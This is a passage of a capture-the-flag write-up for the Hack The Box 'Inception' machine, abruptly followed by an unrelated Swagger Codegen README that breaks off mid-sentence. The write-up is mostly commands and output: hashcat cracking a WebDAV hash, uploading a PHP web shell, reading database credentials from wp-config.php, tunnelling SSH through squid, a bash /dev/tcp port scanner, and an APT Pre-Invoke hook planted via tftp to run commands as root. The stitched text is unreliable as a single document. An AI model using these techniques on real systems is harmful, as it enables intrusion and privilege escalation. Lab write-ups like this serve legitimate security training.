"cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3NoZDp4OjEwNjo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpjb2JiOng6MTAwMDoxMDAwOjovaG9tZS9jb2JiOi9iaW4vYmFzaAo=" | base64 -d root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin cobb:x:1000:1000::/home/cobb:/bin/bash ``` Alright! so the exploit works, time to find some juicy stuff. We check the apache2.conf, and it has nothing, but it says that there is ports.conf as well We check that and it doesnt have anything specific but it has something which i had totally forgotten to check!! ``` # If you just change the port or add more ports here, you will likely also # have to change the VirtualHost statement in # /etc/apache2/sites-enabled/000-default.conf ``` After checking the ```/etc/apache2/sites-enabled/000-default.conf``` we find something interesting ``` <Location /webdav_test_inception> Options FollowSymLinks DAV On AuthType Basic AuthName "webdav test credential" AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd Require valid-user </Location> ``` We check the ```/var/www/html/webdav_test_inception/webdav.passwd``` ``` webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0 ``` We crack the hash ```hashcat -m 1600 -a 0 hash.txt /home/pak/rockyou.txt``` After cracking the has we get the password as babygurl69 | Username | Password | | ------------- |:-------------------------: | | webdav_tester | babygurl69 | Now that we got the username and password we can login to ``` http://10.10.10.67/webdav_test_inception``` But then what ?!! Gotta do some old school dissection for webdav Cadaver ``` root@kali:~/hackthebox/Machines/Inception# cadaver http://inception.htb/webdav_test_inception Authentication required for webdav test credential on server `inception.htb': Username: webdav_tester Password: dav:/webdav_test_inception/> ``` Works like a charm. While doing **Bashed** (another box on htb) we saw a really cool php bash shell [Arrexel's phpbash](https://github.com/Arrexel/phpbash) , lets use that! We upload that using cadaver and visit the page ``` dav:/webdav_test_inception/> put dotalol.php Uploading dotalol.php to `/webdav_test_inception/dotalol.php': Progress: [=============================>] 100.0% of 4687 bytes succeeded. ``` <kbd><img src="https://github.com/jakobgoerke/HTB-Writeups/blob/master/Inception/Images/phpbash.PNG"></kbd> We see a wordpress folder which has a config file with some really really juicy creds :D ``` www-data@Inception :/var/www/html/wordpress_4.8.3# cat wp-config.php /** * The base configuration for WordPress .. .. .. /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4'); ``` And we also see the user ```cobb``` in the home folder, lets try the password for cobb! We do a little enum and see that we might be able to use the squid proxy to connect to the ssh port 22 We use proxy tunnel to route our traffic through the squid port Learn that when i was doing a Vulnhub machine : [Link to the vulnhub machine writeup](https://highon.coffee/blog/skytower-walkthrough/) Setup tunnel with proxytunnel: ``` root@kali:~/hackthebox/Machines/Inception# proxytunnel -p 10.10.10.67:3128 -d 127.0.0.1:22 -a 4444 ``` Now on another terminal - SSH through the HTTP tunnel: Enter the password as ```VwPddNh7xMZyDQoByQL4``` and we are in ``` root@kali:~/hackthebox/Machines/Inception# ssh [email protected] -p 4444 "/bin/bash" The authenticity of host '[127.0.0.1]:4444 ([127.0.0.1]:4444)' can't be established. ECDSA key fingerprint is SHA256:dr5DOURssJH5i8VbjPxvbeM+e2FyMqJ8DGPB/Lcv1Mw. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[127.0.0.1]:4444' (ECDSA) to the list of known hosts. [email protected]'s password: id uid=1000(cobb) gid=1000(cobb) groups=1000(cobb),27(sudo) python3 -c 'import pty;pty.spawn("/bin/bash")' cobb@Inception:~$ ``` We always check ```sudo -l``` ofcourse ``` cobb@Inception:~$ sudo -l sudo -l [sudo] password for cobb: VwPddNh7xMZyDQoByQL4 Matching Defaults entries for cobb on Inception: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User cobb may run the following commands on Inception: (ALL : ALL) ALL ``` Say Whaaaaat! we can just ```sudo -i``` now and we got root shell In all that excitement, we forgot to get the user.txt :D ``` root@Inception:/home/cobb# cat user.txt cat user.txt 4a8bc2d686d093f3f8ad1b37b191303c ``` ``` root@Inception:~# cat root.txt cat root.txt You're waiting for a train. A train that will take you far away. Wake up to find root.txt. ``` Such Inception much wow ! Lets start our Enumeration... ```ifconfig``` shows that the machines internal ip address is ```192.168.0.10``` We do some ```netstat``` and we see that this machine is communicating with ```192.168.0.1``` I would have loved to use nmap on that shit, but when we got no nmap we always got bash! Simple port scanner using bash gives us some nice open ports ``` root@Inception:~# for i in $(seq 1 65535); do timeout 0.1 bash -c " echo &> /dev/tcp/192.168.0.1/$i && echo '$i is open'" 2>/dev/null;done 21 is open 22 is open 53 is open ``` It does take some time to complete, but hey, whose complaining! :D We see 21 is open, lets try anonymous ftp login ``` root@Inception:/tmp/dotalol# ftp 192.168.0.1 ftp 192.168.0.1 Connected to 192.168.0.1. 220 (vsFTPd 3.0.3) Name (192.168.0.1:cobb): anonymous anonymous 331 Please specify the password. Password:anonymous 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ``` We have pretty decent perms even with the anon user, after some enum we find something peculiar in the crontab ``` SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) */5 * * * * root apt update 2>&1 >/var/log/apt/custom.log 30 23 * * * root apt upgrade -y 2>&1 >/dev/null ``` So, root runs apt update every 5th minute! After doing some research we find out that the update command can have Pre-Invoke and Post-Invoke hooks! [Link](https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/) We keep learning something new everyday dont we :D So, we need something like this ``` APT::Update::Pre-Invoke {“/bin/cp /root/root.txt /tmp/.dotalol.txt; chmod 755 /tmp/.dotalol.txt”}; ``` inside the 100update so that it would copy the root.txt and make it readable. We check the ```/etc/apt/apt.conf.d/``` folder and there is no 100update file Lets create one and upload it with ftp ``` root@Inception:/tmp/dotalol# echo "APT::Update::Pre-Invoke {“/bin/cp /root/root.txt /tmp/.dotalol.txt; chmod 755 /tmp/.dotalol.txt”};" > 100update root@Inception:/tmp/dotalol# cat 100 APT::Update::Pre-Invoke {“/bin/cp /root/root.txt /var/tmp/dotalol.txt; chmod 755 /var/tmp/dotalol.txt”}; ``` ``` ftp> put 100update put 100update local: 100update remote: 100update 200 PORT command successful. Consider using PASV. 550 Permission denied. ``` :thinking: After doing a little more enum we find another user in the passwd file ``` tftp:x:112:119:tftp daemon,,,:/var/lib/tftpboot:/bin/false ``` Looks like we got a tftp daemon running as well Lets try and connect to tftp , if it works then we can assume the port 69 is open (udp) ``` root@Inception:/tmp/dotalol# tftp 192.168.0.1 tftp 192.168.0.1 tftp> put 100update /etc/apt/apt.conf.d/100update put 100update /etc/apt/apt.conf.d/100update Sent 104 bytes in 0.0 seconds ``` Boo Yeah!!! We check with ftp and we see that the file was successfully uploaded ``` ftp> ls ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. .. .. -rw-rw-rw- 1 0 0 103 Dec 23 20:02 100update .. ``` Now we just wait for 5 mins and check the /var/tmp later **root.txt** ``` root.txt 8d1e2e91de427a6fc1a9dc309d563359 ```
# <img src="https://raw.githubusercontent.com/swagger-api/swagger.io/wordpress/images/assets/SWC-logo-clr.png" height="80"> [![Build Status](https://img.shields.io/jenkins/s/https/jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-core-master-java-8.svg)](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-core-master-java-8) - Master (2.4.1): [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Java Test](https://img.shields.io/jenkins/s/https/jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-master.svg)](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-master) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/swaggerhub-bot/swagger-codegen) - 3.0.0: [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/3.0.0.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Java Test](https://img.shields.io/jenkins/s/https/jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-3.svg)](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-3) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=3.0.0&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/swaggerhub-bot/swagger-codegen) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: :rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket: :notebook_with_decorative_cover: The eBook [A Beginner's Guide to Code Generation for REST APIs](https://gumroad.com/l/swagger_codegen_beginner) is a good starting point for beginners. ## Overview This is the Swagger Codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Ada**, **Apex**, **Bash**, **C#** (.net 2.0, 3.5 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Elm**, **Eiffel**, **Erlang**, **Go**, **Groovy**, **Haskell** (http-client, Servant), **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign, RestTemplate, RESTEasy, Vertx, Google API Client Library for Java, Rest-assured), **Kotlin**, **Lua**, **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **PowerShell**, **Python**, **R**, **Ruby**, **Rust** (rust, rust-server), **Scala** (akka, http4s, swagger-async-httpclient), **Swift** (2.x, 3.x, 4.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node) - **Server stubs**: **Ada**, **C#** (ASP.NET Core, NancyFx), **C++** (Pistache, Restbed), **Erlang**, **Go**, **Haskell** (Servant), **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy, Play Framework, [PKMST](https://github.com/ProKarma-Inc/pkmst-getting-started-examples)), **Kotlin**, **PHP** (Lumen, Slim, Silex, [Symfony](https://symfony.com/), [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Rust** (rust-server), **Scala** ([Finch](https://github.com/finagle/finch), [Lagom](https://github.com/lagom/lagom), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Configuration files**: [**Apache2**](https://httpd.apache.org/) - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Development in Docker](#development-in-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Maven Integration](#maven-integration) - [Gradle Integration](#gradle-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md#guidelines-for-contributing) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Presentations/Videos/Tutorials/Books](#presentationsvideostutorialsbooks) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Technical Committee](#swagger-codegen-technical-committee) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The Swagger Codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 3.0.6-SNAPSHOT (current 3.0.0, upcoming minor release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/codegen/v3/swagger-codegen-cli/3.0.6-SNAPSHOT/)| TBD | 1.0, 1.1, 1.2, 2.0, 3.0 | Minor release [3.0.5](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.5) (**current stable**) | 2019-02-18 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.5](https://github.com/swagger-api/swagger-codegen/tree/v3.0.5) [3.0.4](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.4) | 2019-01-16 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.4](https://github.com/swagger-api/swagger-codegen/tree/v3.0.4) [3.0.3](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.3) | 2018-11-30 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.3](https://github.com/swagger-api/swagger-codegen/tree/v3.0.3) [3.0.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.2)| 2018-10-19 | 1.0, 1.1, 1.2, 2.0, 3.0 | Minor release [3.0.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.1)| 2018-10-05 | 1.0, 1.1, 1.2, 2.0, 3.0 | Major release with breaking changes [3.0.0](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.0)| 2018-09-06 | 1.0, 1.1, 1.2, 2.0, 3.0 | Major release with breaking changes 2.4.3-SNAPSHOT (current master, upcoming minor release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/2.4.3-SNAPSHOT/)| TBD | 1.0, 1.1, 1.2, 2.0 | Minor release [2.4.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.2) (**current stable**) | 2019-02-18 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.2](https://github.com/swagger-api/swagger-codegen/tree/v2.4.2) [2.4.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.1) | 2019-01-16 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.1](https://github.com/swagger-api/swagger-codegen/tree/v2.4.1) [2.4.0](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.0) | 2018-11-30 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.0](https://github.com/swagger-api/swagger-codegen/tree/v2.4.0) [2.3.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.3.1) | 2018-01-17 | 1.0, 1.1, 1.2, 2.0 | [tag v2.3.1](https://github.com/swagger-api/swagger-codegen/tree/v2.3.1) [2.3.0](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.3.0) | 2017-12-21 | 1.0, 1.1, 1.2, 2.0 | [tag v2.3.0](https://github.com/swagger-api/swagger-codegen/tree/v2.3.0) [2.2.3](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.3) | 2017-07-15 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.3](https://github.com/swagger-api/swagger-codegen/tree/v2.2.3) [2.2.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.2) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) [2.2.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.1) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) [2.1.6](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.1.6) | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 7 runtime at a minimum): ```sh wget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.3.1/swagger-codegen-cli-2.3.1.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` For Windows users, you will need to install [wget](http://gnuwin32.sourceforge.net/packages/wget.htm) or you can use Invoke-WebRequest in PowerShell (3.0+), e.g. `Invoke-WebRequest -OutFile swagger-codegen-cli.jar http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.3.1/swagger-codegen-cli-2.3.1.jar` On a mac, it's even easier with `brew`: ```sh brew install swagger-codegen ``` To build from source, you need the following installed and available in your `$PATH:` * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export `JAVA_HOME` in order to use the supported Java version: ```sh export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ```sh mvn clean package ``` If you don't have maven installed, you may directly use the included [maven wrapper](https://github.com/takari/maven-wrapper), and build with the command: ```sh ./mvnw clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ```sh swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ```sh ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ```sh git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ```sh # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen CLI Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ```sh docker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` (On Windows replace `${PWD}` with `%CD%`) The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.3.1/swagger-codegen-cli-2.3.1.jar) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ```sh ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command (below only shows partial results): ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>...] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>...] [--git-repo-id <git repo id>] [--git-user-id <git user id>] [--group-id <group id>] [--http-user-agent <http user agent>] (-i <spec file> | --input-spec <spec file>) [--ignore-file-override <ignore file override location>] [--import-mappings <import mappings>...] [--instantiation-types <instantiation types>...] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>...] [--library <library>] [--model-name-prefix <model name prefix>] [--model-name-suffix <model name suffix>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [--release-note <release note>] [--remove-operation-id-prefix] [--reserved-words-mappings <reserved word mappings>...] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>...] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values ...... (results omitted) -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ```sh cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ```sh ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different 